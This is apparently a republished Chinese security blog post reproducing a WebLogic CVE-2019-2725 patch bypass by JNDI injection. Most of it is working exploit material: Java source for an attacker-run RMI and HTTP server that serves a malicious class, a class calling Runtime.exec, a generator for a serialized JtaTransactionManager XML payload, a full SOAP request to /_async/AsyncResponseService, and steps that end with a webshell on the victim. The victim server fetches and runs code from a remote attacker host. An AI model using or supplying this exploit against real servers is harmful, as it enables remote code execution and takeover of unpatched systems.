关注我们

CVE-2019-2725/CNVD-C-2019-48814第二弹——JNDI

草头薛草头薛 安全文摘 2019-06-06 605575 0

前言

上一次的补丁绕过复现使用了JDK7U21原生反序列化这个gadget(CVE-2019-2725/CNVD-C-2019-48814 绕过CVE-2017-10271补丁的复现)限制条件很大,本次复现一个利用公网RMI的案例。

绕过环境

1.CentOS7
2.Weblogic 10.3.6 with Patch p27395085_1036_Generic
3.JDK 1.7
4.公网RMI服务

限制条件

1.受害者允许访问公网
2.JDK < 1.8
3.Weblogic <= 10.3.6(超过这个版本,不存在oracle.toplink.internal.sessions.UnitOfWorkChangeSet)

绕过原理

由于10271补丁并没有将array、index、byte等关键字加入黑名单,且JtaTransactionManager类存在JNDI二阶注入,又能配合oracle.toplink.internal.sessions.UnitOfWorkChangeSet进行联动,于是便能构造出rce的EXP。

EXP构造

1.搭建RMI服务

使用以下三个java文件,即可创建RMI服务

ExploitClient.java(用于创建RMI服务和HTTP服务)

importcom.sun.jndi.rmi.registry.ReferenceWrapper;
importjava.io.*;
importjava.net.*;
importjava.rmi.registry.*;
importcom.sun.net.httpserver.*;
importjavax.naming.*;

publicclassExploitClient{
static String vpsip = "vpsip";
publicstaticvoidlanuchCodebaseURLServer()throwsIOException{
System.out.println("Starting HTTP server");
HttpServer httpServer = HttpServer.create(newInetSocketAddress(8000),0);

httpServer.createContext("/",newHttpFileHandler());
httpServer.setExecutor(null);
httpServer.start();
}
publicstaticvoidlanuchRMIregister(String server_ip)throwsException{
System.out.println("Creating RMI Registry");
System.out.println("Powerd by Shimizu Kawasaki");
System.setProperty("java.rmi.server.hostname",vpsip);
Registry registry = LocateRegistry.createRegistry(1999);
String evil_ip="http://"+server_ip+":8000/";
Reference reference = newReference("ExportObject","ExportObject", evil_ip);
ReferenceWrapper referenceWrapper = newReferenceWrapper(reference);

try{
registry.bind("aa", referenceWrapper);

// registry.bind("gsrc_ejbobject",referenceWrapper);
}catch (Exception e){
System.out.println("e.getCause().getCause().getCause().getMessage()");
}

}
publicstaticvoidmain(String[] args)throwsException{
lanuchCodebaseURLServer();
lanuchRMIregister(vpsip);
}

}

ExploitClient.java将创建两个服务,一个是RMI服务(1999端口),一个是HTTP服务(8000端口)。RMI服务在生成byte流的payload时会用到,而getshell的关键是HTTP服务配合一个恶意类ExportObject.java,让受害者下载恶意类从而完成getshell。而aa是恶意类ExportObject的URI资源绑定指向。另外记得将上述代码中vpsip的value替换为你自己的vpsip

HttpFileHandler.java(用于监听回传受害者连接情况)

importcom.sun.net.httpserver.*;
importjava.io.*;

publicclassHttpFileHandlerimplementsHttpHandler{
publicvoidhandle(HttpExchange httpExchange){
try{
System.out.println("new http request from"+httpExchange.getRemoteAddress()+""+httpExchange.getRequestURI());
InputStream inputStream = HttpFileHandler.class.getResourceAsStream(httpExchange.getRequestURI().getPath());
ByteArrayOutputStream byteArrayOutputStream = newByteArrayOutputStream();
while(inputStream.available()>0) {
byteArrayOutputStream.write(inputStream.read());
}

byte[] bytes = byteArrayOutputStream.toByteArray();
httpExchange.sendResponseHeaders(200, bytes.length);
httpExchange.getResponseBody().write(bytes);
httpExchange.close();
}catch(Exception e) {
e.printStackTrace();
}
}
}

ExportObject.java(恶意类,用于放置你想要执行的命令)

importjava.io.*;

publicclassExportObject{

publicExportObject()throwsException{
Process p = Runtime.getRuntime().exec("calc");
InputStream is = p.getInputStream();
BufferedReader reader = newBufferedReader(newInputStreamReader(is));
String line;
while((line = reader.readLine())!= null){
System.out.println(line);
}
p.waitFor();
is.close();
reader.close();
p.destroy();
}
}

恶意类调用的是Java Runtime的exec()由于是runtime,所以如果你想要执行一些负责组合的命令,请记得使用Java Runtime编码转换。具体详情请参考我的简书中其他文章,寻找答案


上述三个类,直接打包成jar包即可,放置公网运行即可开启一个RMI服务和一个HTTP服务。

2.构造Payload

使用下面的exp.java即可构造生成byte流格式的xml Payload

importcom.bea.core.repackaged.springframework.transaction.jta.JtaTransactionManager;

importjava.io.ByteArrayOutputStream;
importjava.io.FileNotFoundException;
importjava.io.IOException;
importjava.io.ObjectOutputStream;

publicclassexp
{
publicstaticvoidmain( String[] args )throwsException{
String command ="rmi://vpsip:rmi_port/aa";
JtaTransactionManager jtaTransactionManager = newJtaTransactionManager();
jtaTransactionManager.setUserTransactionName(command);
//jtaTransactionManager.setUserTransactionName(command);
// byte[] bytes = ObjectToByte(jtaTransactionManager);
byte[] bytes = ObjectToByte(jtaTransactionManager);
objectXmlEncoder(bytes , "payload.xml");
}
privatestaticbyte[] ObjectToByte(Object obj) {
byte[] bytes = null;
try{
// object to bytearray
ByteArrayOutputStream bo = newByteArrayOutputStream();
ObjectOutputStream oo = newObjectOutputStream(bo);
oo.writeObject(obj);

bytes = bo.toByteArray();

bo.close();
oo.close();
}catch (Exception e) {
System.out.println("translation" + e.getMessage());
e.printStackTrace();
}
returnbytes;
}

publicstaticvoidobjectXmlEncoder(Object obj,String fileName)
throws FileNotFoundException, IOException,Exception
{

java.io.File file = newjava.io.File(fileName);
if(!file.exists()){
file.createNewFile();
}
java.io.BufferedOutputStream oop = newjava.io.BufferedOutputStream(newjava.io.FileOutputStream(file));
java.beans.XMLEncoder xe = newjava.beans.XMLEncoder(oop);
xe.flush();
//写入xml
xe.writeObject(obj);
xe.close();
oop.close();
}
}

rmi://vpsip:rmi_port/aa中的aa来源ExploitClient.java解释过,请仔细阅读。


exp.java需要配合weblogic自带的很多jar包,否则要么生成的payload无效,要么无法生成payload。这些jar包,你可在在weblogic的安装目录中的/root/Oracle/Middleware/modules找到。另外还需要/root/Oracle/Middleware/wlserver_10.3/server/lib下的weblogic.jar包

CVE-2019-2725/CNVD-C-2019-48814第二弹——JNDI

weblogic jar包

CVE-2019-2725/CNVD-C-2019-48814第二弹——JNDI

weblogic.jar

成功的情况下,运行exp.java你会得到payload.xml

CVE-2019-2725/CNVD-C-2019-48814第二弹——JNDI

payload.xml

将payload.xml中第三行开始,一直到 </array> 结束取走,与下面的报文模板组合

POST /_async/AsyncResponseService HTTP/1.1
Host: ip:port
Accept-Encoding: gzip, deflate
SOAPAction:
Accept: */*
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: keep-alive
content-type: text/xml
Content-Length: 37390

<soapenv:Envelopexmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"xmlns:wsa="http://www.w3.org/2005/08/addressing"xmlns:asy="http://www.bea.com/async/AsyncResponseService"><soapenv:Header><wsa:Action>xx</wsa:Action><wsa:RelatesTo>xx</wsa:RelatesTo><work:WorkContextxmlns:work="http://bea.com/2004/06/soap/workarea/">
<java><class><string>oracle.toplink.internal.sessions.UnitOfWorkChangeSet</string><void>
此处组合payload.xml
</void></class>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body><asy:onAsyncDelivery/></soapenv:Body></soapenv:Envelope>

3.getshell

  • 1.运行java -jar 你打包的jar,开启rmi服务以及http服务

  • 2.发送报文

  • 3.监听回传

正常情况下,满足条件的受害者一旦连接成功,jar包控制台将会得到如下的回传

CVE-2019-2725/CNVD-C-2019-48814第二弹——JNDI

监听回传

  • 4.访问webshell

根据你ExportObject.java中写入的命令,访问相应的目录即可。getshell的命令可从前面的文章中寻找答案

CVE-2019-2725/CNVD-C-2019-48814第二弹——JNDI

访问webshell

后记

通杀weblogic全版本且无视JDK的详情将于明日公布。

根据留言情况,可放出第二弹的完整IDEA工程包。

鸣谢

1.吐司afanti
2.阿里巴巴pyn3rd

参考

CVE-2019-2725 二次反序列化jndi注入分析 by afanti:
https://www.t00ls.net/thread-51034-1-1.html

原文由公众号:国舜股份 

版权声明

本文仅代表作者观点,不代表黑白网立场。
如文章侵犯了您的权利,请通过邮箱联系我们删除。
详情查看:版权纠纷
E-Mail:server@heibai.org

喜欢0发布评论

评论列表

发表评论

  • 昵称(必填)
  • 邮箱
  • 网址